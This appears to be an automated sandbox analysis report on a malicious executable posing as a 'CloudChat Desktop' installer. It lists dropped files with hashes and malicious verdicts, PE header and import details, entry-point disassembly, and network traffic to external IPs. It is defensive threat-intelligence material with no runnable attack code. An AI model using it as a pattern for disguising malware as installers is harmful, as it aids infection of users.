Preview:	Inno Setup Uninstall Log (b)....................................{53F49750-6666-4FBF-9CA8-7A333C87D1ED}..........................................................................................CloudChat Desktop...................................................................................................................#.......!.................................................................................................................k&........w.7................6.3.2.9.2.2......a.l.f.o.n.s......C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p....................... .....d..................C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p..R...C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.S.t.a.r.t. .M.e.n.u.\.P.r.o.g.r.a.m.s.\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p......C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p......e.n.g.l.i.s.h............

C:\Users\user\AppData\Roaming\CloudChat Desktop\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3416125
Entropy (8bit):	6.535532708565387
Encrypted:	false
SSDEEP:	49152:idJYVM+9JtzZWnoS2VC23aun8+f5KuG2OY9IG9ivyv2cLx1RQD333K6C:UJYVM+LtVt3P/KuG2ONG9iqLRQD3338
MD5:	D38311FE553BFA05CF287D5B2FD330B3
SHA1:	28FC06649BBBB58AABBA82EB37B55ABCBE51D066
SHA-256:	1765AAA88FA3D116A2D35D5D8C53CC439AE26CEDA4C169186F6CB46E932CDD1A
SHA-512:	9E612003BC0474375631D729EE565EF6ABA489A9C14FC9EB982CBFF350131D5226377ADA02334E09A7EE65725EE14829D43FB60CD72475AE47FE2E58A4079DB0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@...........................4...........@......@...................P,.n.....,.j:...P0.,<....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...,<...P0..>..../.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\CloudChat Desktop\CloudChat.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Mon Sep 30 09:20:26 2024, mtime=Mon Sep 30 09:20:28 2024, atime=Fri Jun 24 01:27:42 2022, length=51122176, window=hide
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	4.882554702805644
Encrypted:	false
SSDEEP:	12:8m3se6s4f5588CEflsY//9wsLA+4NX+M52ePh+ZltLPjAsHhWpMnWEMJUMlqiRmV:8m3Rafc8DfZ1w+0X+M38A2WpcsmIRm
MD5:	EB2D1E9DAD04788B1738820A26AA4D18
SHA1:	3D23BF6AE88DF74D6630A968A04E337CAA7263E0
SHA-256:	D4335A8CC4A43F8B69CB6AF998914E020FC94D5C84C444598CFA866A9FD0C0B4
SHA-512:	D0891AF6B03B253E72950D828BAB764696BE391475527397B498865070D3980BDDA03DFB690CDD20BF1028B06AE669A4C2690C2D6635750A5F60B9095B8786D3
Malicious:	false
Preview:	L..................F.... ...k..]".....J_".......q.............................:..DG..Yr?.D..U..k0.&...&...... M......x.K"....u(`".......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl>Y.R....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....>Y}R..Roaming.@......DWSl>Y}R....C.........................R.o.a.m.i.n.g.....l.1.....>Y.R..CLOUDC~1..T......>Y.R>Y.R....*.....................}',.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.....h.2......Tu. .CLOUDC~1.EXE..L......>Y.R>Y.R..............................C.l.o.u.d.C.h.a.t...e.x.e.......n...............-.......m.............w.....C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe........\.....\.....\.....\.....\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.\.C.l.o.u.d.C.h.a.t...e.x.e.1.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.`.......X.......632922...........hT..CrF.f4... ...2=.b...,...W..hT..CrF.f4... ...2=.b...,...W..E.......9...1SPS..mD..pH.H@..=x...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\CloudChat Desktop\Uninstall CloudChat.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Mon Sep 30 09:20:25 2024, mtime=Mon Sep 30 09:20:25 2024, atime=Mon Sep 30 09:20:09 2024, length=3416125, window=hide
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	4.8933165828640535
Encrypted:	false
SSDEEP:	12:8m5bG4f5588CEflsY//twXLA+4NX+M523yl0cYjEjAJHpFpMl9MJUMlqi8NQmV:8m53fc8DfZFw70X+MjlBYUAFp0ymI1m
MD5:	C425FB474261B058EF5A842D1F414710
SHA1:	D6AC8742B0A807C255CD79E137CA0FBB4AA0A45B
SHA-256:	65E95F6B27F09D90BDC9450A7C9E8FB03DD926ABF581D154756664682F761EDD
SHA-512:	E9AD26BAA3DA07E43E671E9523A01340C73A2F837214C202DE4EDE55CBBA2A171A0BD9A5B61166C6D96D18220179A0ECAB4A98B42B60ABFC1B51C9E977B22F65
Malicious:	false
Preview:	L..................F.... ......]"......]"...`..S"...= 4.......................:..DG..Yr?.D..U..k0.&...&...... M......x.K"....u(`".......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl>Y.R....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....>Y.R..Roaming.@......DWSl>Y.R....C........................R.o.a.m.i.n.g.....l.1.....>Y.R..CLOUDC~1..T......>Y.R>Y.R....*.....................}',.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.....f.2.= 4.>Y.R .unins000.exe..J......>Y.R>Y.R............................@.u.n.i.n.s.0.0.0...e.x.e.......m...............-.......l.............w.....C:\Users\user\AppData\Roaming\CloudChat Desktop\unins000.exe..-.....\.....\.....\.....\.....\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.\.u.n.i.n.s.0.0.0...e.x.e.1.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.`.......X.......632922...........hT..CrF.f4... ...2=.b...,...W..hT..CrF.f4... ...2=.b...,...W..E.......9...1SPS..mD..pH.H@..=x.....h..

C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe

Download File

Process:	C:\Users\user\Desktop\LIccs3x2LZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23516633
Entropy (8bit):	7.992023505254324
Encrypted:	true
SSDEEP:	393216:DBfHd5zra14ZwU/plsSK0dhHt/nOjAA1KVUqWNZPTGGvYhCxAAjp:dHd5ze1wwYszj7RNdTSyjp
MD5:	286C4FE69BB974A050B48FCC82108897
SHA1:	6DB84FBCF002D95F0E7E732374727FCB36D3981A
SHA-256:	84A15BC948ACF97F686E27B33874E08BD04D6CE22B9112C4F7D4432850B6E24F
SHA-512:	3FECE8534BD41F7B45CFFB6B8BF812D84D5D5805FB799D51C047577807B7AD3D0795719E8B8967437F7E2C9D3CDA8A2A7CAFA8FFA56E1C8F2E986C9F909F661E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...J....................@.......................................@......@...................p..q....P.......................................................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\Desktop\CloudChat.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Mon Sep 30 09:20:26 2024, mtime=Mon Sep 30 09:20:30 2024, atime=Fri Jun 24 01:27:42 2022, length=51122176, window=hide
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	4.868663652151123
Encrypted:	false
SSDEEP:	12:8mchse6s4f5588CEflsY//twXLA+4NX+M52ePh+ZltLPjAsHhYMJUMnWEMJUMlq7:8mCRafc8DfZFw70X+M38A2bmcsmIRm
MD5:	AA0D539FF2605532A49EA645D21A68F6
SHA1:	3D6B755A0E7EB7119A5D9A2B84063324E6741D01
SHA-256:	AABE2FAB9BD13B401A4BE2C193B82097C728521EB29ACB8785B06EB181B62257
SHA-512:	BB0B2E5E1FDE959CB436BDE72105C74104B975DCDBF12FB03B6CA5BD83F11E9201EE2650CB5A4CD5068947D7CAE24A65B53A2D150462696BA74808C220688113
Malicious:	false
Preview:	L..................F.... ...k..]"....a4`".......q.............................:..DG..Yr?.D..U..k0.&...&...... M......x.K"....u(`".......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl>Y.R....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....>Y.R..Roaming.@......DWSl>Y.R....C........................R.o.a.m.i.n.g.....l.1.....>Y.R..CLOUDC~1..T......>Y.R>Y.R....*.....................}',.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.....h.2......Tu. .CLOUDC~1.EXE..L......>Y.R>Y.R..............................C.l.o.u.d.C.h.a.t...e.x.e.......n...............-.......m.............w.....C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe..2.....\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.\.C.l.o.u.d.C.h.a.t...e.x.e.1.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.l.o.u.d.C.h.a.t. .D.e.s.k.t.o.p.`.......X.......632922...........hT..CrF.f4... ...2=.b...,...W..hT..CrF.f4... ...2=.b...,...W..E.......9...1SPS..mD..pH.H

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.999195568239956
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	LIccs3x2LZ.exe
File size:	30'202'389 bytes
MD5:	f79f4fdd2637a2ab98294079ecbdc457
SHA1:	eb71a9701dca99de77e4e38a2bca533fd0057077
SHA256:	50ff39e6d5e524a95771c4a219d0e1d15ec42175e6d79d264f8a1eee0c418a18
SHA512:	fb2ede8b91f422e610660d82bcb32f629502bf2b7ac54668b70caf48221ec7ce73af2591135bf6c672ee958a6a6288478f002876d68eababfc8386ee69a07b9d
SSDEEP:	786432:/RVZBepgscsJFj7ztRuQlZvCCEDpEaotwj:/RVXsJFRRuogCHaotwj
TLSH:	DD6733D0E7C215E8E901B0394E2582E2C0B1B9942B56978746F66B7F2E172CCF2BD747
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........a..............f.......f..)....f......Y.......Y.......Y.......Y........f..............................Rich...................

File Icon


Icon Hash:	2e1e7c4c4c61e979

Static PE Info

General

Entrypoint:	0x14000c320
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F3F449 [Wed Sep 25 11:30:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a06f302f71edd380da3d5bf4a6d94ebd

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FBA70C916DCh
dec eax
add esp, 28h
jmp 00007FBA70C912EFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007FBA70C91A68h
test eax, eax
je 00007FBA70C914A3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FBA70C91487h
dec eax
cmp ecx, eax
je 00007FBA70C91496h
xor eax, eax
dec eax
cmpxchg dword ptr [0003820Ch], ecx
jne 00007FBA70C91470h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FBA70C91479h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FBA70C91489h
mov byte ptr [000381F5h], 00000001h
call 00007FBA70C90BC5h
call 00007FBA70C91E80h
test al, al
jne 00007FBA70C91486h
xor al, al
jmp 00007FBA70C91496h
call 00007FBA70CA038Fh
test al, al
jne 00007FBA70C9148Bh
xor ecx, ecx
call 00007FBA70C91E90h
jmp 00007FBA70C9146Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000381BCh], 00000000h
mov ebx, ecx
jne 00007FBA70C914E9h
cmp ecx, 01h
jnbe 00007FBA70C914ECh
call 00007FBA70C919DEh
test eax, eax
je 00007FBA70C914AAh
test ebx, ebx
jne 00007FBA70C914A6h
dec eax
lea ecx, dword ptr [000381A6h]
call 00007FBA70CA0182h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ea2c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x49000	0xf09c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x46000	0x22f8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x59000	0x768	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3bfb0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3be70	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2d000	0x400	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b110	0x2b200	55ff5ed922edfe0b0c10734c674f4ee4	False	0.5453521286231884	data	6.496893972670116	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0x12842	0x12a00	59c959f54a1c8d72ef9dacab68c37524	False	0.5235816904362416	data	5.767551427166747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x40000	0x5408	0xe00	aff56347f897785154c53727472c548d	False	0.13504464285714285	data	1.8315705466577277	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x46000	0x22f8	0x2400	57f77a295f3be6e2a8e90035dde19ce2	False	0.4784071180555556	data	5.3594808562266065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x49000	0xf09c	0xf200	f3b8d201a257531933bfc01d164abc4a	False	0.7973108212809917	data	7.349035548836119	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x59000	0x768	0x800	42d6242177dbae8e11ed5d64b87d0d48	False	0.5576171875	data	5.268722219019965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x49298	0x7e	ASCII text, with no line terminators	0.8095238095238095
RT_ICON	0x49318	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.56636460554371
RT_ICON	0x4a1c0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.7287906137184116
RT_ICON	0x4aa68	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.7471098265895953
RT_ICON	0x4afd0	0x909b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9971636186822983
RT_ICON	0x5406c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.38309128630705397
RT_ICON	0x56614	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.4826454033771107
RT_ICON	0x576bc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.699468085106383
RT_GROUP_ICON	0x57b24	0x68	data	0.7019230769230769
RT_MANIFEST	0x57b8c	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	TranslateMessage, ShutdownBlockReasonCreate, GetWindowThreadProcessId, SetWindowLongPtrW, GetWindowLongPtrW, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, CreateWindowExW, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, GetMessageW
KERNEL32.dll	GetTimeZoneInformation, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, GetStringTypeW, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, CreateDirectoryW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, HeapSize, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, GetCurrentProcessId, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, GetConsoleWindow, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, GetFileAttributesExW, HeapReAlloc, WriteConsoleW, SetEndOfFile, GetDriveTypeW, IsDebuggerPresent, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, GetModuleHandleW, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, GetCommandLineA, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW, GetCurrentDirectoryW, FlushFileBuffers, SetEnvironmentVariableW
ADVAPI32.dll	ConvertSidToStringSidW, GetTokenInformation, OpenProcessToken, ConvertStringSecurityDescriptorToSecurityDescriptorW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 12:20:36.676049948 CEST	49711	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:36.680937052 CEST	5222	49711	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:36.681026936 CEST	49711	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:36.696543932 CEST	49711	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:36.698276043 CEST	49712	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:36.701522112 CEST	5222	49711	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:36.704443932 CEST	80	49712	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:36.704611063 CEST	49712	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:36.704819918 CEST	49712	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:36.711960077 CEST	80	49712	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:36.712059975 CEST	49712	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:36.717639923 CEST	80	49712	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.663976908 CEST	49711	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.669250011 CEST	5222	49711	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.669316053 CEST	49711	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.672460079 CEST	49712	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.698143005 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.703010082 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.706521988 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.714528084 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.719373941 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.720766068 CEST	80	49712	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.949060917 CEST	49714	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.954181910 CEST	80	49714	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.954524040 CEST	49714	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.954790115 CEST	49714	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.959568977 CEST	80	49714	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.959623098 CEST	49714	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.964526892 CEST	80	49714	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.983561039 CEST	49715	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.988368988 CEST	5222	49715	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.988429070 CEST	49715	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.988806009 CEST	49715	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:37.993576050 CEST	5222	49715	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:37.998931885 CEST	49716	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.003885984 CEST	80	49716	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.003953934 CEST	49716	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.004302979 CEST	49716	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.007718086 CEST	49717	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.007741928 CEST	443	49717	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.007805109 CEST	49717	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.010066986 CEST	80	49716	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.010499001 CEST	49716	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.015397072 CEST	80	49716	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.022159100 CEST	49717	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.022172928 CEST	443	49717	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.081886053 CEST	49715	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.082108974 CEST	49716	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.083367109 CEST	49717	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.088188887 CEST	49718	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.090929031 CEST	49719	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.090958118 CEST	443	49719	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.091039896 CEST	49719	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.092329979 CEST	49719	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.092343092 CEST	443	49719	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.093043089 CEST	5222	49718	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.093111992 CEST	49718	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.093302965 CEST	49718	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.097074032 CEST	49720	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.097100973 CEST	443	49720	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.097161055 CEST	49720	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.098058939 CEST	5222	49718	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.098675966 CEST	49720	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.098686934 CEST	443	49720	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.107004881 CEST	49721	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.111812115 CEST	80	49721	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.111902952 CEST	49721	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.112123966 CEST	49721	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.116864920 CEST	80	49721	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.116939068 CEST	49721	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.121716022 CEST	80	49721	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.127414942 CEST	443	49717	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.128844023 CEST	80	49716	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.128855944 CEST	5222	49715	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.178611994 CEST	49719	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:38.219403028 CEST	443	49719	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:38.221101999 CEST	49718	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.221261978 CEST	49721	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.223604918 CEST	49720	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.227081060 CEST	49722	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.227108002 CEST	443	49722	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.227186918 CEST	49722	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.228627920 CEST	49722	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:38.228638887 CEST	443	49722	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:38.230366945 CEST	49723	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.235110998 CEST	5222	49723	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.236432076 CEST	49724	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.236474991 CEST	49723	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.236809015 CEST	49723	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:38.241712093 CEST	80	49724	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.242057085 CEST	5222	49723	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:38.242115974 CEST	49724	80	192.168.2.5	103.78.229.139
